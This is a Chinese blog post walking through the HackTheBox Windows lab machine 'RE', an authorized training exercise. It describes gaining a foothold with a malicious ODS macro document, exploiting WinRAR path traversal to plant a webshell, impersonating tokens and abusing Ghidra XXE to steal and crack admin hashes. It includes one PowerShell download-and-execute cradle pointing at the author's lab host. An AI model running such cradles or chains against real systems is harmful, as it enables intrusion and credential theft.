No.85-HackTheBox-windows-RE-Walkthrough渗透学习

最新推荐文章于 2022-10-19 10:28:20 发布
最新推荐文章于 2022-10-19 10:28:20 发布
阅读量482 收藏 2
点赞数
分类专栏： Hack The box 文章标签： python java linux 数据库 大数据
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34801745/article/details/105666709
版权

**

HackTheBox-windows-RE-Walkthrough

**

靶机地址：https://www.hackthebox.eu/home/machines/profile/180
靶机难度：中级（4.6/10）
靶机发布日期：2019年11月12日
靶机描述：
RE is a hard difficulty Windows machine, featuring analysis of ODS documents using Yara. A maliciously crafted document can be used to evade detection and gain a foothold. The box uses an old version of WinRAR, which is vulnerable to path traversal. This is exploited to drop a shell to the web root and land a shell as the IIS user who has write access to the project folder. A Ghidra project is then uploaded to the folder to exploit XXE and steal admin hashes.

作者：大余
时间：2020-04-26
请注意：对于所有这些计算机，我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.144…
在这里插入图片描述
nmap发现只有80和445开放着，smb也共享着…
在这里插入图片描述
过几秒就把我重定向到了http://reblog.htb/…去添加域名…
在这里插入图片描述添加完后得到一个标题RE Blog的页面…
这里有六篇文章：
讲解了有脚本在运行着，是否可利用powershell或者cmd等进行攻击行为，最后一封比较重要，说到最近发现很多.ods文件进行钓鱼活动，包括Metasploit生成的文档，具有powershell或cmd调用的文档等…
这里按照给的信息，可以利用office执着钓鱼邮件获得反向外壳，前面文章也有详细介绍过方法；
往下看…
在这里插入图片描述
通过smb查看，是存在恶意软件dropbox设置为只读状态…
这里开始制作钓鱼邮件…
在这里插入图片描述
还是利用libreoffice，已经在以前文章写过类似的了…GO
在这里插入图片描述
在这里插入图片描述
找到了.ods的文件格式…
在这里插入图片描述
这里要创建office，需要用到内置的工具…
在这里插入图片描述
在这里插入图片描述
做个简单的测试…
在这里插入图片描述
Ctrl+S保存即可…
在这里插入图片描述
经过了测试了一会，发现这是需要分段执行，靶机才会执行该.dox…恶意软件执行成功了…可以看到icmp回包了…
开始上传nishang的TCP.ps1提权即可…
在这里插入图片描述
在这里插入图片描述
命令：echo "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.51/dayu.ps1')" | iconv -t utf-16le | base64 -w 0
在这里插入图片描述
在这里插入图片描述
按照ping的shell进行简单修改，将powershell分段，将IEX转换base64植入即可…
可以看到成功提权…
在这里插入图片描述
通过luke用户成功读取到了user信息…下一步获得root…
在这里插入图片描述
继续枚举luke用户，发现process_samples.ps1文件，查看内容…
在这里插入图片描述
process_samples.ps1似乎是处理上传.ods文件的代码…
内容其实就是对上传.ods文件进行循环删除计划…最后还看到，针对zip文件也是会进行删除的…
这里还基于WinRAR\Rar.exe，在google找到一篇详细讲解了winrar的文章
意思是：攻击者可以使用…/或…\解压缩本地目录外部的文件，例如Zip/Slip。
这里存在路径遍历漏洞：CVE-2018-20250
EXP：CVE-2018-20250
在这里插入图片描述
搭建好EXP环境…
在这里插入图片描述
这里利用kali自带的cmdasp.aspx的shell进行生成恶意rar…
成功生成到wwwroot/re目录下…
在这里插入图片描述
由于上传后5秒删除，利用powershell上传后立即执行…
在这里插入图片描述
可以看到成功了…获得了IIS服务的webshel​​l…
这里只是告知利用WinRar漏洞获得反向shell…有利于后面开展的各种方法…

方法1：

利用MSF提权：
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
同理上面的方法，重新操作一遍…获得shell…
在这里插入图片描述
这里利用了逻辑漏洞提权：https://www.freebuf.com/column/220238.html
发现没有NC，这里需要利用.dos进行上传，如果利用powershell等上传5秒自动删除…
在这里插入图片描述
这里原理一样，获得shell后，虽然是system权限…但是5秒自动就杀死了…
需要继续在system权限下在执行一次反向shell即可一直存活…
在这里插入图片描述
果然没那么容易…
在这里插入图片描述
又是EFS加密…前两篇刚将了几种方法解密…
这里可以看到只允许administrator和coby读取该文件…
在这里插入图片描述
在这里插入图片描述
继续利用MSF查看root
在这里插入图片描述
列出用户可以看到可以利用coby用户…然后使用impersonate_token来复制coby用户权限…
最后利用coby用户读取了root信息…

方法2：

在这里插入图片描述
继续利用powershell获得IIS的外壳…
在这里插入图片描述
查看了下proj_drop，发现是可写入可输出的…
经过测试…可以写入文件，但是还是2秒左右就自动删除了…
在这里插入图片描述
在通过re.htb前端源码可以看出这里是存在XXE漏洞的…前端源码告诉希望在zip中，
可利用ZIP进行获得哈希密码…
https://github.com/NationalSecurityAgency/ghidra/issues/71 --这篇文件简单介绍了XXE漏洞利用得过程…
在这里插入图片描述
回顾下第五篇文章，这里说到NSA(国家安全局)提供了工具…这里XXE就需要利用此工具进行获取哈希密码…这就是提示啊…
下载安装，可以通过文章给的链接安装，也可以通过：https://securitytech.site/zh-CN/b13d8a67/
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到已经创建好了…
在这里插入图片描述
这是初始化的状态…
在这里插入图片描述
通过前面推荐的XXE文档内的图片修改，或者和我一样修改都行…
在这里插入图片描述
解压到zip中，然后上传到proj…目录下…等待10来秒即可获得…
可以看到成功获得了哈希值…
在这里插入图片描述
成功通过hashcat爆破了哈希值…获得了密码…
这里遇到了小问题，如果是虚拟机情况下，需要把处理器修改为1，否者使用hashcat报错…
在这里插入图片描述
利用nishang的tcp.ps1即可…然后修改$pass值，通过poweshell上传ps1通过变量获得了反向shell…
可以看到获得的反向shell是我们想要的，coby用户拥有查看root的权限…
成功获得了root信息…

这里后面还有方法3~4等等…
还可以利用winRm工具创建隧道提权…
还可以利用Sysinternals工具提权发现accesschk.exe具有system权限…直接写入shell可以直接获得system权限…
还有…
这是一台很舒服的靶机，方法很多，学到的非常多…
最近HTB流畅度很高了，后期更新会加快，加油！！！
学无止境！！！

由于我们已经成功得到root权限查看user.txt和root.txt，因此完成这台中等的靶机，希望你们喜欢这台机器，请继续关注大余后期会有更多具有挑战性的机器，一起练习学习。

如果你有其他的方法，欢迎留言。要是有写错了的地方，请你一定要告诉我。要是你觉得这篇博客写的还不错，欢迎分享给身边的人。

在这里插入图片描述

大余xiyou
关注
专栏目录
net-snmp,snmpwalk(windows最新版本)
03-02
该工具是运行于windows平台的exe可执行文件，跟linux平台的snmpwalk功能类似，使用方法：cmd→cd到该exe文件的目录→snmpwalk.exe + option（通过snmpwalk.exe -h可以获得相关参数及运用方法，包括version、...
【Hack The Box】windows练习-- Omni
最新发布
人间体佐菲的博客
11-17 1396
【Hack The Box】windows练习-- Omni
Hack The Box -----------------------Active
大方子
12-16 6986
这次的靶机是Hackthebox的Active 靶机IP地址:10.10.10.100 ======================================================================================== 信息收集 nmap -sV -sT 10.10.10.100  Kerberos在88，netbios-ssn在13...
No.55-HackTheBox-windows-Granny-Walkthrough渗透学习
qq_34801745的博客
02-16 1053
** HackTheBox-windows-Granny-Walkthrough ** 靶机地址：https://www.hackthebox.eu/home/machines/profile/14 靶机难度：容易（3.0/10） 靶机发布日期：2017年10月12日 靶机描述： Granny, while similar to Grandpa, can be exploited using se...
No.195-HackTheBox-windows-Remote-Walkthrough渗透学习
qq_34801745的博客
09-10 883
** HackTheBox-windows-Remote-Walkthrough ** 靶机地址：https://www.hackthebox.eu/home/machines/profile/234 靶机难度：初级（4.7/10） 靶机发布日期：2020年9月1日 靶机描述： Remote is an easy difficulty Windows machine that features an Umbraco CMS installation. Credentials are found in a w
No.74-HackTheBox-windows-Reel-Walkthrough渗透学习
qq_34801745的博客
03-23 534
** HackTheBox-windows-Reel-Walkthrough ** 靶机地址：https://www.hackthebox.eu/home/machines/profile/143 靶机难度：中级（5.0/10） 靶机发布日期：2018年11月10日 靶机描述： Reel is medium to hard difficulty machine, which requires a ...
net-snmp-5.3.2.2-5.el5.i386.zip
10-15
5. **snmpbulkwalk**：类似snmpwalk，但能更有效地获取大量数据，通过批量请求减少网络通信次数。 在实际应用中，net-snmp可以实现以下功能： - **设备监控**：监控网络设备如路由器、交换机、服务器的CPU利用率、...
net-snmp-5.7.0-1.x86.exe 客户端windows
05-22
net-snmp-5.7.0-1.x86.exe 客户端windows。
xamarin-forms-walkthrough：使用Xamarin.Forms创建的移动应用程序演练
02-06
WalkthroughApp是Xamarin.Forms应用程序，它使用和来演示无需要求自定义渲染器即可创建流畅而强大的Walkthrough的可能性。 支持平台： 安卓 的iOS 该项目使用某些第三方资产，其许可证要求提供署名： LottieFiles...
Metropolis-Hasting Random Walk.zip_Metropolis_Metropolis hasting
09-15
`Metropolis-Hasting Random Walk.docx`文档可能包含了一个使用MATLAB编写的Metropolis-Hastings算法示例。MATLAB是一种强大的编程环境，适合数值计算和数据分析，对于实现这种算法非常方便。 总的来说，Metropolis...
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权（四）
杨秀璋的专栏
03-27 1万+
在撰写这篇文章之前，我先简单分享下hack the box实验感受。hack the box是一个在线渗透平台，模拟了真实环境且难度较大，各种Web渗透工具及操作串联在一起，挺有意思的。本文详细讲解了hack the box机器配置，通过OpenAdmin题目分享管理员权限Flag获取流程，希望对您有所帮助。同时，该网站题目细节不便于透露，推荐大家亲自去尝试，本文更多的分享一些思想。
hackthebox-optimum(考点：hfs/windows）不用msf
冬萍子癸水
04-10 488
用msf做很快。这台靶机很多人做以及写的writeup都是msf。但针对oscp备考者，本篇文章不用msf nmap 就一个80，提示是HFS 2.3 直接搜searchsploit hfs 用python比较方便，就选择39161.py 打开py看看，有几处要修改。IP端口当然要改成自己的。看样子这是个直接弹shell到本机的py。另外我还看到代码里有nc，而且还是从本机的http里open...
No.64-HackTheBox-windows-Bart-Walkthrough渗透学习
qq_34801745的博客
03-12 607
** HackTheBox-windows-Bart-Walkthrough ** 靶机地址：https://www.hackthebox.eu/home/machines/profile/128 靶机难度：初级（3.7/10） 靶机发布日期：2017年12月20日 靶机描述： Bart is a fairly realistic machine, mainly focusing on prope...
No.61-HackTheBox-windows-Conceal-Walkthrough渗透学习
qq_34801745的博客
02-26 645
** HackTheBox-windows-Conceal-Walkthrough ** 靶机地址：https://www.hackthebox.eu/home/machines/profile/168 靶机难度：中级（5.0/10） 靶机发布日期：2019年5月8日 靶机描述： Conceal is a “hard” difficulty Windows which teaches enumer...
入坑 Hack The Box
热门推荐
LainWith的博客
10-19 1万+
视频介绍：https://www.bilibili.com/video/BV17T4y1i7Uh 官方文档：https://help.hackthebox.com/en/articles/5185158-introduction-to-hack-the-box个人感觉前者偏向实战一些，后者偏向练习题一些。更详细的区别，参见： https://hacktalk.net/hacking-the-box-htb-vs-vulnhub/过去注册HTB的时候，需要拿到邀请码才行，类似下面视频这种，但是现在你不需要邀请
hackthebox-Bounty （考点：上传/IIS7.5安全/windows）
冬萍子癸水
04-16 480
nmap 就一个80，没啥别的，扫出来显示是iis7.5,说明很可能这就是个突破口&考点 因为是iis，所以对于asp&aspx文件是要重视的，在拿dirbuster扫时也要添加这俩后缀文件名 扫出 打开看第一个是上传，然后在第二个里读取 经验证，随便传图片，读取成功。那么突破思路就是上传了。 但我试了很多php和aspx，都没用，让人郁闷 只好搜iis7.5 rce up...
[网络安全学习篇73]：渗透测试实战-DC-5-靶机入侵
安全知识学习-该平台为唯一原作者平台，其他平台属冒名顶替，请勿相信上当受骗
05-23 1467
引言：我的系列博客[网络安全学习篇]上线了，小编也是初次创作博客，经验不足；对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙，其实看到目录有300多集的时候，讲道理，有点怂了，所以我就想到了通过写博客（课程笔记）的形式去学习它，虽然写博客会让我多花几倍的时间去学习它，但是当我完成一篇博客所获得的成就感和你们对于我的认同感，让我很满足，能够鼓励我一天天的坚持下去，也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白，大部分知识点都是初
HacktheBox 邀请码挑战------can you hack the box?
cynthrial的博客
03-22 593
Invite Challenge can you hack the box？注册hackthebox的时候会让你输入hackthebox邀请码 F12调出开发者工具，发现一个名为inviteapi.min.js的文件比较像是破解关键 eval(function (p, a, c, k, e, d) { e = function (c) { return c.toString(36) ...
hackthebox-Jerry（考点：tomcat安全/windows）
冬萍子癸水
04-16 444
nmap 就8080，扫描结果显示是tom猫 网上有很多方法，把tom猫按在地上摩擦。。。这个 先传统方法。进去，上传 dirbuster搜到manager登录页面 不知道密码，那么想法找密码，但是如果此时点了取消登录框cancel，密码就自动出来了。。。。。。。。额 或者kali自带的破解tom的字典，在这里 然后用这个小脚本自动跑 #!/usr/bin/env python impor...
net-snmp *.*.*.* 源码解析与使用指南
安装Net-SNMP后，可以运行命令行工具（如snmpwalk、snmpget等）来管理网络设备。此外，还可以编写脚本或程序，使用Net-SNMP提供的库（如libsnmp）进行更复杂的网络管理任务。 8. MIB与OID 管理信息库（MIB）定义了...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值